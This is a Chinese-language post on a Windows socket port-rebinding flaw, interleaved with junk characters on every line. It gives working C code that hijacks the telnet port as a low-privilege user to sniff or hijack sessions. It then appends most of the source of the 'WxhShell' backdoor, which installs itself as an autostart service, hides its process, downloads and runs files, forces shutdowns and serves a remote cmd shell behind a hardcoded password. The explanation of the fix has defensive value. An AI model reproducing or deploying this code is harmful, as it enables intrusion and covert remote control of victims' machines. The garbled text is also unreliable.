在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Z8zmHc"IH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
cJN7bA{ s8wmCzB~ saddr.sin_family = AF_INET;
61.Brp.eP J!0DR4=Xi saddr.sin_addr.s_addr = htonl(INADDR_ANY);
!6BW@GeF] ^=T$&gD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
g,}_G3[j0m ^oVs+ vC 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|s"nM<ZNZ 5i>$]*o 这意味着什么?意味着可以进行如下的攻击:
V@Rrn <l ]+(6,ct&. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
G;&-\0>W 1KMLG= 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
y&Mr=5:y W{%TlN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
)\_:{ c f%Ns[S~ r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
`4(e q;QbUO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
d`P7}*;` C
'v+f= 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\Z]UA&v_ H$@`,{M629 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
k40* e\ bvS(@ #include
afv~r>q(- #include
OZx
W?wnd #include
)>.&N[v #include
sArhZ[H DWORD WINAPI ClientThread(LPVOID lpParam);
Y<mej][ int main()
E}Y!O"CAV {
)f}YW/' WORD wVersionRequested;
R<[qGt|L DWORD ret;
}!;s.[y WSADATA wsaData;
?3%`bY+3; BOOL val;
_9JhL:cY SOCKADDR_IN saddr;
i
7_ _ SOCKADDR_IN scaddr;
/e7O$L)
int err;
^.#jF#u~ SOCKET s;
J/\V%~
1F SOCKET sc;
fIj|4a+ int caddsize;
nN*w~f" HANDLE mt;
;u;# g DWORD tid;
t *1u[~= wVersionRequested = MAKEWORD( 2, 2 );
5|l* `J) err = WSAStartup( wVersionRequested, &wsaData );
e?opkq\f if ( err != 0 ) {
"SzdDY6 printf("error!WSAStartup failed!\n");
8S%52W| return -1;
MZlk0o2 }
9/hrjItV saddr.sin_family = AF_INET;
OlAs'TE^ SF&BbjBE0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*"D3E7AO Tsgk/e9K2? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2Tfz=7h$ saddr.sin_port = htons(23);
*$p2*%7Ne if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y$@ZN~8 {
"iU}]e0 printf("error!socket failed!\n");
>;L6xt3 return -1;
Gs9:6 }
h v8P4"i v val = TRUE;
VG,u7A*Z# //SO_REUSEADDR选项就是可以实现端口重绑定的
zoOaVV&1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
> ?6&c {
!OBEM1~
1 printf("error!setsockopt failed!\n");
q0$
!y!~ return -1;
(>VX-Y/ }
>+]_5qc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
wW#}:59} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)+}]+xRWGj //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ROk5]b. ?\$#L^;b} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
rypTKT|U; {
{jYOsl ret=GetLastError();
s0DGC printf("error!bind failed!\n");
jJuW-(/4[ return -1;
kB'Fkqwm }
Eve.QAl| listen(s,2);
mMb'@ while(1)
^;/b+ /B0 {
sB^<6W!`( caddsize = sizeof(scaddr);
TYJ:! //接受连接请求
3~}uqaGt sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
T{Sb^-H#X if(sc!=INVALID_SOCKET)
/RHo1 {
/[Z,MG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GG@md_ if(mt==NULL)
)=AHf?hn {
b!sRk@LGZ printf("Thread Creat Failed!\n");
:lB=Lr) break;
6
G3\=) }
LM7$}#$R }
`FYv3w2 CloseHandle(mt);
}z\_;\7 }
9T|IvQK8 closesocket(s);
RA G3o- WSACleanup();
qQ"Fv|]~> return 0;
NR -!VJQ }
mf}O-Igte DWORD WINAPI ClientThread(LPVOID lpParam)
t?9v^vFR {
Q\cjPc0y SOCKET ss = (SOCKET)lpParam;
|4T!&[r SOCKET sc;
E-I-0h2 unsigned char buf[4096];
0%m)@ukb SOCKADDR_IN saddr;
$% 1vW=d long num;
<Wp
QbQM DWORD val;
ow_djv:, DWORD ret;
Bx/L<J@ //如果是隐藏端口应用的话,可以在此处加一些判断
`e(vH`VZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Xlb0/T<g! saddr.sin_family = AF_INET;
.Fnwm} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
1jc,
Y.mP saddr.sin_port = htons(23);
yqi^>Ce0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"FTfk {
f.
FYR|%tq printf("error!socket failed!\n");
SE),":aY return -1;
``OD.aY^s }
'bo~%WA]n val = 100;
X LL/4 ) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|!"2fI {
Iz
;G*W18 ret = GetLastError();
Yc,7tUz# return -1;
UN zlN }
Gi "941zVl if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:_t}QP" {
J2j U4mR ret = GetLastError();
(;q\}u return -1;
rFC" Jx }
xfb]b2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4dhvFGlW {
`67[O4$< printf("error!socket connect failed!\n");
6IWxPt~ closesocket(sc);
{%IE xPJ closesocket(ss);
,:??P1 return -1;
w~
[b*$ }
f|R"uW + while(1)
u%/goxA {
%K>.lh@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[o.B //如果是嗅探内容的话,可以再此处进行内容分析和记录
3bDQk
:L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Fd#m<" num = recv(ss,buf,4096,0);
oI.G-ChP if(num>0)
l'\pk<V send(sc,buf,num,0);
lKlU-4 else if(num==0)
PSPmO'C+ break;
wlEdt1G num = recv(sc,buf,4096,0);
* 1Od-3 if(num>0)
uPRQU+ send(ss,buf,num,0);
Ay
!G1; else if(num==0)
*Mw_0Y break;
9:e YU
= }
~t^eiyv closesocket(ss);
2D:fJ~|-[ closesocket(sc);
\mV'mZ9> return 0 ;
4E+hRKuo, }
KyzFnVH3) ~_s{0g]B HW7; {QMg ==========================================================
*X4PM\ck VMCLHpSfW 下边附上一个代码,,WXhSHELL
({NAMc* kiRa+w: ==========================================================
CYKr\DA jiYmb8Q4D #include "stdafx.h"
ZKXo-~=> !>>f(t4 #include <stdio.h>
.VkbYK #include <string.h>
cKn`/\.H #include <windows.h>
'w14sr% #include <winsock2.h>
1*dRK6 #include <winsvc.h>
7{xh8#m #include <urlmon.h>
v*9<c{a 1?| flK #pragma comment (lib, "Ws2_32.lib")
0
s70r #pragma comment (lib, "urlmon.lib")
2e|N@j
& ^qC;Nh4F #define MAX_USER 100 // 最大客户端连接数
Ton94:9bZ #define BUF_SOCK 200 // sock buffer
3;8!rNN #define KEY_BUFF 255 // 输入 buffer
ZvUCI8 Y&
F=t/U2 #define REBOOT 0 // 重启
HU9Sl*/ #define SHUTDOWN 1 // 关机
4[BG# QjC22lW- #define DEF_PORT 5000 // 监听端口
tOOchu?= iC*F #define REG_LEN 16 // 注册表键长度
[xT:]Pw} #define SVC_LEN 80 // NT服务名长度
EZYBeqv 9
Rx
s // 从dll定义API
8o/}}=m$ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
5r?m&28X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NuYkz"O] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6:]*c[7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
06Gt&_Q JKX_q&bUw // wxhshell配置信息
w=}uwvn NX struct WSCFG {
Nr0
(E int ws_port; // 监听端口
9{$'S4 char ws_passstr[REG_LEN]; // 口令
HFq m6| int ws_autoins; // 安装标记, 1=yes 0=no
oX4q`rt char ws_regname[REG_LEN]; // 注册表键名
~`D|IWMDq char ws_svcname[REG_LEN]; // 服务名
Z(ZiFPx2Z char ws_svcdisp[SVC_LEN]; // 服务显示名
?]rPRV char ws_svcdesc[SVC_LEN]; // 服务描述信息
VOr 1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
PC qZNBN int ws_downexe; // 下载执行标记, 1=yes 0=no
(D
9Su^:1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@rHK(25+d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
YhRWz=l [y0O{,lI };
HBY.DCN[Z 2 QNNp:`6 // default Wxhshell configuration
i@][rdhT struct WSCFG wscfg={DEF_PORT,
-kS~xVS| "xuhuanlingzhe",
9m-)Xdoy 1,
i[ $0a4 "Wxhshell",
TI !a )X "Wxhshell",
fi+R2p~vs "WxhShell Service",
~h"/Tce "Wrsky Windows CmdShell Service",
8`b`QtGf "Please Input Your Password: ",
IQ!\w- 1,
gaf$uT2
"
http://www.wrsky.com/wxhshell.exe",
ZbT/$\0(6 "Wxhshell.exe"
KE1ao9H8wR };
zh$}~RG[ l?iSxqdT // 消息定义模块
\@>b;4Fb+N char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
7 t?* char *msg_ws_prompt="\n\r? for help\n\r#>";
(n1Bh~R^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=0-
$W5E char *msg_ws_ext="\n\rExit.";
U;n*j3wT char *msg_ws_end="\n\rQuit.";
r|*&GHo L char *msg_ws_boot="\n\rReboot...";
#UtFD^h char *msg_ws_poff="\n\rShutdown...";
e;GU
T: char *msg_ws_down="\n\rSave to ";
2..,Sk ~Xlrvb}LP char *msg_ws_err="\n\rErr!";
x'zBK0i char *msg_ws_ok="\n\rOK!";
l_j4DQBRV O}[PJfvBHo char ExeFile[MAX_PATH];
[I:KpAd/
int nUser = 0;
y}v+c%d HANDLE handles[MAX_USER];
&vovA} F int OsIsNt;
[DHoGy,P p7ir*r/2 SERVICE_STATUS serviceStatus;
KI]wm SERVICE_STATUS_HANDLE hServiceStatusHandle;
yIb,,!y9{ \]9.zlB // 函数声明
!m(4F(!"h int Install(void);
\*\R1_+ int Uninstall(void);
h C=:q int DownloadFile(char *sURL, SOCKET wsh);
1shBY@mlq int Boot(int flag);
WU4U Zpz void HideProc(void);
\ j.x0/; int GetOsVer(void);
S?{/hy int Wxhshell(SOCKET wsl);
.d?%;2*{q void TalkWithClient(void *cs);
`mH %!{P int CmdShell(SOCKET sock);
K\^ 0_F K int StartFromService(void);
l/y]nw int StartWxhshell(LPSTR lpCmdLine);
IZ3{>NV 3u>8\|8wz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h7X_S4p/Mg VOID WINAPI NTServiceHandler( DWORD fdwControl );
1ZJQs6 |xoF49 // 数据结构和表定义
XCsiEKZ_i SERVICE_TABLE_ENTRY DispatchTable[] =
\tyg(srw0 {
d/74{. {wscfg.ws_svcname, NTServiceMain},
O8U<{jgAG {NULL, NULL}
!TAp+b };
as+GbstN $3X-rjQtW // 自我安装
O|cu.u| int Install(void)
,&HR(jTo {
OOBhbpg!D char svExeFile[MAX_PATH];
Zc"B0_&?:7 HKEY key;
Q/I)V2a1i strcpy(svExeFile,ExeFile);
nH !3(X* $ XBAZ<"hd // 如果是win9x系统,修改注册表设为自启动
}%TSGC4{ if(!OsIsNt) {
OndhLLz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`N/RHb% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
6+K_ Z\ RegCloseKey(key);
]=73-ywn] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d {2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~e@>zoM'^ RegCloseKey(key);
@OV-KT[> return 0;
k;dXOn }
z5Qs@dG }
XA_FOw!cX }
/q\_&@ else {
~n!!jM:N M!M!Ni // 如果是NT以上系统,安装为系统服务
=\,
qP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
KyP)Qzp if (schSCManager!=0)
K 3GSOD> {
~9Cz6yF SC_HANDLE schService = CreateService
uk`8X`' (
qIwV q!= schSCManager,
fR-C0"c wscfg.ws_svcname,
p3^jGj@ wscfg.ws_svcdisp,
>i,iOx|E- SERVICE_ALL_ACCESS,
%ICglF R SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)<4_: SERVICE_AUTO_START,
\nrP$ SERVICE_ERROR_NORMAL,
Q}A=jew svExeFile,
t@?u NULL,
vOI[Z0Lq9h NULL,
-m 5}#P89 NULL,
*B)yy[8j+ NULL,
;P?q2jI NULL
FrTg4 );
0m9ZQ
O if (schService!=0)
bzmr"/#D3 {
_'x8M CloseServiceHandle(schService);
R@T6U:1 CloseServiceHandle(schSCManager);
+:jT=V"X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
;SKh strcat(svExeFile,wscfg.ws_svcname);
O,V9R
rG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#6S75{rnW" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
o5Rz%k#h RegCloseKey(key);
0>6DSQq~t( return 0;
\[wCp*;1} }
mZ0J!QYk }
pF=g||gS CloseServiceHandle(schSCManager);
H ;@!?I }
y@ek=fT%4 }
\6j^kY= "u')g& return 1;
0WxCSL$#I }
r@)A
k QBE@(2G}C // 自我卸载
=
Rc"^oS int Uninstall(void)
`kBnSi o~ {
|@VF.)_ HKEY key;
GSVdb/+ `QP
~ if(!OsIsNt) {
{M~lbU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V`a+Hi<P\ RegDeleteValue(key,wscfg.ws_regname);
2C+(":=} RegCloseKey(key);
OjnJV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R 4EEelSZu RegDeleteValue(key,wscfg.ws_regname);
uf) Oy7FQ RegCloseKey(key);
GaNq2 G return 0;
!DjT<dxf }
f_r0}) }
_ptP[SV^j }
u"VS* hSH else {
K!8zwb=fq Aa(<L$e!` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m24v@?* if (schSCManager!=0)
+GNWF%
zN {
$G?(OWI}l` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%|Hp Bs#' if (schService!=0)
,=w!vO5s {
.{rbw9 if(DeleteService(schService)!=0) {
E)'8U CloseServiceHandle(schService);
}B!cv{{ CloseServiceHandle(schSCManager);
M?:\9DDd return 0;
=d20Xa }
pz}mF D&[ CloseServiceHandle(schService);
#+sF`qR, }
0'ZYO.y CloseServiceHandle(schSCManager);
mc@M ,2@D }
{K.rl%_|N }
{gkwOMW 3B18dv,V return 1;
Q9y*: }
wa3F |+E KF.K // 从指定url下载文件
LdTIR] int DownloadFile(char *sURL, SOCKET wsh)
,?b78_,2 {
/mbCP>bcG HRESULT hr;
5j[#'3TSU char seps[]= "/";
Sb<\-O14" char *token;
_-a|VTM char *file;
QPg2Y<2 char myURL[MAX_PATH];
U~QMR-bz char myFILE[MAX_PATH];
23E0~O 5d
5t9+t strcpy(myURL,sURL);
=:5<{J OG token=strtok(myURL,seps);
GgdlVi 2 while(token!=NULL)
1Ii| {vR {
ph^4GBR file=token;
IRB& j%LA token=strtok(NULL,seps);
%-^}45](q }
9/;{>RL= cF.mb*$K GetCurrentDirectory(MAX_PATH,myFILE);
Qb@eK$wo} strcat(myFILE, "\\");
K\sbt7~ strcat(myFILE, file);
fA
XE~ send(wsh,myFILE,strlen(myFILE),0);
/?3:X* send(wsh,"...",3,0);
NNX%Bq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mU]s7` %<> if(hr==S_OK)
]gP8?s| return 0;
46ChMTt else
KM5 JZZP return 1;
ONWO`XD =J.EH| }
8t``NZ[ 2v^lD(' // 系统电源模块
YC)hX'A\ int Boot(int flag)
a!u3HS-i {
R~c1)[[E HANDLE hToken;
Jk*QcEE= TOKEN_PRIVILEGES tkp;
Ao*FcrXN A}4t9|/K6 if(OsIsNt) {
C"No5r'K3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
3/tJDb5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
q!2<=:f
tkp.PrivilegeCount = 1;
;Uk!jQh tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{y/-:=S)A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\\iK'|5YG if(flag==REBOOT) {
$h]NXC6J if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
RUc \u93n return 0;
*R!]47Y d }
$'u\B else {
Iv1c4" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
ohTd'+Lm return 0;
|8;?
*s`H }
i@{*O@m }
lVT&+r~r else {
[D9 :A if(flag==REBOOT) {
"i''Ui\H if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2lJZw@ return 0;
{kG;."S+K }
GiqBzV3" else {
@ay|]w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P8]ORQ6ZF return 0;
;(`e^IVf }
~9i qD }
K051usm ]W|RtdF3.N return 1;
=VCQ* }
p\ok_*b eEie?#Z/6 // win9x进程隐藏模块
%xh?!s|G( void HideProc(void)
uf?b%:A {
M%;"c?g TRCI\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HYFN?~G if ( hKernel != NULL )
g`.{K"N>! {
kpWzMd &RK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L
B<UC?e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
wJ(8}eI FreeLibrary(hKernel);
"_oLe;?$c }
.SBc5KX jRwa0Px( return;
Wa{%0inZ }
hJ4S3b r?]%d! // 获取操作系统版本
#O><A&FrF` int GetOsVer(void)
s%bUgO%& {
cyHhy_~R OSVERSIONINFO winfo;
u:eW0Ows" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[^Q&suy GetVersionEx(&winfo);
.CvFE~
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+|M{I= 8 return 1;
A_]D~HH else
ac3_L$X[ return 0;
iU,/!IQ }
~Q_F~ 0y c-|kv[\a // 客户端句柄模块
5C*?1&
! int Wxhshell(SOCKET wsl)
0ovZ&l {
67fIIXk& SOCKET wsh;
2$ struct sockaddr_in client;
fvO;lA>` DWORD myID;
BZ}`4W' %-k(&T3& while(nUser<MAX_USER)
O68b zi] {
"TUPYFK9 int nSize=sizeof(client);
|C|:i@c
H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a/QIJ*0 if(wsh==INVALID_SOCKET) return 1;
D|"sE> @N]5&4NL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V3 qT<}y| if(handles[nUser]==0)
>Rr!rtc'x closesocket(wsh);
qZ233pc else
vD_u[j] nUser++;
u9 %;{:]h }
3m3
EXz WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>b3@>W cu:-MpE return 0;
#*+;B93) }
H a90 TdNsyr}JG // 关闭 socket
x{~_/;\p3 void CloseIt(SOCKET wsh)
e{:86C!d) {
7Onk!NH closesocket(wsh);
3V"dG1? nUser--;
q$3HvZP ExitThread(0);
kGruo5A }
CJ0$;et nhp)yW // 客户端请求句柄
x
Ridc^ void TalkWithClient(void *cs)
%;'~%\|dZM {
2$iw/r QZ#3Bn%B5 SOCKET wsh=(SOCKET)cs;
:l4^iSf char pwd[SVC_LEN];
ysL0hwir char cmd[KEY_BUFF];
s87 a% char chr[1];
,!jR:nApE int i,j;
<` #,AVH |G>q:]+AV while (nUser < MAX_USER) {
^NY+wR5Sn <\+Po<)3j if(wscfg.ws_passstr) {
fmtuFr^a1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y Y'gx|\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3Gj(z:)b //ZeroMemory(pwd,KEY_BUFF);
/7.wQeL9 i=0;
is64)2F]( while(i<SVC_LEN) {
#)Ep(2 )iT.A // 设置超时
)~1.<((< fd_set FdRead;
nR(#F 9 struct timeval TimeOut;
mi*:S%;h FD_ZERO(&FdRead);
[kVpzpGr FD_SET(wsh,&FdRead);
b?sAEU; TimeOut.tv_sec=8;
ZCj>MA TimeOut.tv_usec=0;
*oKgP8CF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
"r:H5) ! if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
(MZ A MacL3f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;|Y2r^c pwd
=chr[0]; 22l|!B%o
if(chr[0]==0xd || chr[0]==0xa) { 2=i+L z^
pwd=0; jn0t-":
break; |G[{{qZM5
} n iXHK$@5
i++; }]uB?
+c
} L~'^W/N
0=3FO}[u
// 如果是非法用户,关闭 socket T^rz!k{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
['Hp?Q|k
} /+Wb6{lY
Dh*~U:6$g
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u]ZqF *
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }w;Q^EU
a.5zdoH_
while(1) { b>GqNf!
>^M!@=/?J
ZeroMemory(cmd,KEY_BUFF); I|Vk.,
N )b|
// 自动支持客户端 telnet标准 at_dmU2[7
j=0; JrY"J]/
while(j<KEY_BUFF) { XHU<4l:kl
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R^n*
o
cmd[j]=chr[0]; 8#[%?}tK
if(chr[0]==0xa || chr[0]==0xd) { AT2NC6{M
cmd[j]=0; 8 /:X&
&
break; mBYS"[S(
} JS<e`#c&
j++; okd
``vG
} Dx9$H++6$X
| 7t=\
// 下载文件 )Mm;9UA
if(strstr(cmd,"http://")) { w*|= k~z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sn{aHH
if(DownloadFile(cmd,wsh)) n_e}>1_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,U} 5
else 'lQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3j[w
-Lfp
} #n6FQ$l8m
else { hlABu)B'1
j TB<E=WC
switch(cmd[0]) { %fexuy4
X^?|Sz<^E
// 帮助 7]<F>97
case '?': { vV$hGS(f~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p*(U*8Q
break; nN(D7wk
} Kt/+PS
// 安装 S'v V"
case 'i': { LOyCx/n
if(Install()) r1^m#!=B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5bGjO&$l
else J?|K#<%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yhJA;&}>
break; ebl)6C
} q.u[g0h;
// 卸载 YU ]G5\UU
case 'r': { UIm[DYMS
if(Uninstall()) [qjAq@@N#q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B6Wq/fl/
else aHVdClD2o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hPEp0("
break; JsWq._O{/
} W>t&N
// 显示 wxhshell 所在路径 1DI"LIL
case 'p': { R9|2&pfm(M
char svExeFile[MAX_PATH]; 1OfSq1G>v$
strcpy(svExeFile,"\n\r"); c:`` Y:
strcat(svExeFile,ExeFile); B~'VDOG$Z
send(wsh,svExeFile,strlen(svExeFile),0); ;?O883@r8
break; xqi*N13
} ]IbPWBX
// 重启 r=iMo7q
case 'b': { @?^LxqAWA
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d
=B@EyN
if(Boot(REBOOT)) J;Z>fAE7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a@V/sh
else { t^bdi}[
closesocket(wsh); +UpMMh q
ExitThread(0); 6|"!sW`%N
} :+?W
break; BC$;b>IUA
} &ttv4BC^r
// 关机 ^!v}
case 'd': { XYxm8ee"j
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4/-))F&s
if(Boot(SHUTDOWN)) "JQt#[9l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r%m7YwXo
else { kS\.
closesocket(wsh); 4,*^QK
ExitThread(0); =|WV^0=S'%
} 3A}nNHpN
break; j~,LoGuPh
} EZwdx
// 获取shell f2w=ln
case 's': { C^\*|=*\
CmdShell(wsh); X
gx2
closesocket(wsh); ~y-vKCp|
ExitThread(0); y
T1Qep
break; /i~^LITH
} lu@>?,<
// 退出 SJ WP8+
case 'x': { 'Kso@St`o
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >kDdWgRQ
CloseIt(wsh); 5[j!\d}U
break; eV{FcJha
} zcD_}t_K
// 离开 tMPXvE
case 'q': { L/iVs`qF
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _{Q?VQvZ
closesocket(wsh); mJDKxgGK
WSACleanup(); ~=AKX(Q
exit(1); BtNW5'^
break; v<J;S9u=
} 1uS>{M
} b]g&rwXYt
} t+4Y3*WeGF
(HrkUkw
// 提示信息 N5 rG.6K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i\Q"a B"r
} c]>&6-;rf
} &6^W%r
:2UC{_
return; b-(UsY:
} :kiO
64\5v?C
// shell模块句柄 :@@A
int CmdShell(SOCKET sock) 1-NX>E5
{ dj'8x48H2W
STARTUPINFO si; nwZr3r
ZeroMemory(&si,sizeof(si)); )Y,?r[4{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {EoyMJgz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _l{5'm
PROCESS_INFORMATION ProcessInfo; R;TEtu7
char cmdline[]="cmd"; |gRgQGeB
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Z>V}`n
return 0; -ynLuq#1A
} ]-5jgz"
2eR+dT
// 自身启动模式 sQw`U{JG
int StartFromService(void) G>ptwB81KM
{ e9_O/i N
typedef struct
&pY G
{ }
@fu~V/
DWORD ExitStatus; M+R)P+
DWORD PebBaseAddress; j.'"CU
DWORD AffinityMask; \`p~b(
DWORD BasePriority; cJWfLD>2_!
ULONG UniqueProcessId; .iN*V|n
